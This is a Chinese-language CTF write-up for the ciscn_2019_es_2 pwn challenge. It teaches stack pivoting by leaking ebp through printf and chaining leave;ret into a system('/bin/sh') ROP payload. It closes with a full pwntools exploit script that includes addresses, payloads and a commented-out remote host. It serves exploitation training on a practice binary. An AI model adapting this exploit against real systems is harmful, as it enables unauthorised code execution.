pwn-ciscn_2019_es_2(栈迁移)
这道题用来做栈迁移的例题真是再合适不过了
查看防护
main函数
存在hack函数,执行系统命令echo flag。没有binsh,需要自己写入
vuln函数
很明显是栈溢出,但是溢出的空间不足。read大小为0x30,s变量和ebp距离为0x28。只能覆盖ebp和ret。
因此使用栈迁移解决栈空间不足的问题。
把rop链写栈上,首先利用printf获取上个栈帧的ebp。printf遇到00就会截断,如果我们输入的内容正好把ebp前面的区域完全覆盖,
printf就会顺便把ebp带出来。
0x48-0x10等于s距ebp的偏移0x38
第二次read写入rop
payload2='a'*4+p32(sys)+p32(0xdeadbeef)+p32(ebp-0x28)+"/bin/sh"
payload2=payload2.ljust(0x28,'\x00')
payload2+=p32(ebp-0x38)+p32(leave_ret)
直接看payload晦涩难懂,所以我附上调试过程
栈迁移核心思想就是利用leave和ret转移ebp和esp。leave和ret常用于复原栈
leave=mov esp,ebp
pop ebp
ret=pop eip
红色箭头所指地址是执行leave之后的对应的ebp和esp
可以看到结果确实如此。这时可能你会注意到一个问题,那就是ebp地址比esp地址小。这其实无伤大雅,
因为我们最终目的是通过esp控制eip。ebp只是用来间接定位,
执行ret后的结果
eip发生了跳转
接下来执行的就是我们写入的leave_ret(用哪个函数里的leave_ret都行,我选择的是hack函数里的)
和前面的流程一样,我们直接看leave后的结果
非常amazing啊,esp指向了我们写入的system,接下来的ret就会使eip指向system函数。
现在我们回过头看payload,就不难理解前面padding的aaaa的作用了。ebp-0x38指向aaaa的地址。aaaa实际就是leave_ret后的ebp指向地址的内容,
可以起到定位的作用。因为接下来我们输入的leave_ret会使esp等于ebp后面的地址,
而此时ebp后面的地址是system。之后就能getshell了
顺便一提,接收printf返回的ebp前要先recv前面read输入的内容
exp:
1 #!/usr/bin/python 2 from pwn import * 3 4 #a=remote("node3.buuoj.cn",26501) 5 a=process("ciscn_2019_es_2") 6 context(arch='i386',os='linux',log_level='debug') 7 8 sys=0x8048400 9 leave_ret=0x08048562 10 11 a.recvuntil("Welcome, my friend. What's your name?") 12 payload='a'*0x20+'b'*8 13 a.send(payload) 14 a.recvuntil("bbbbbbbb") 15 ebp=u32(a.recv(4)) 16 print (hex(ebp)) 17 payload2='a'*4+p32(sys)+p32(0xdeadbeef)+p32(ebp-0x28)+"/bin/sh" 18 payload2=payload2.ljust(0x28,'\x00') 19 payload2+=p32(ebp-0x38)+p32(leave_ret) 20 print (payload2) 21 #gdb.attach(a) 22 a.send(payload2) 23 24 a.interactive()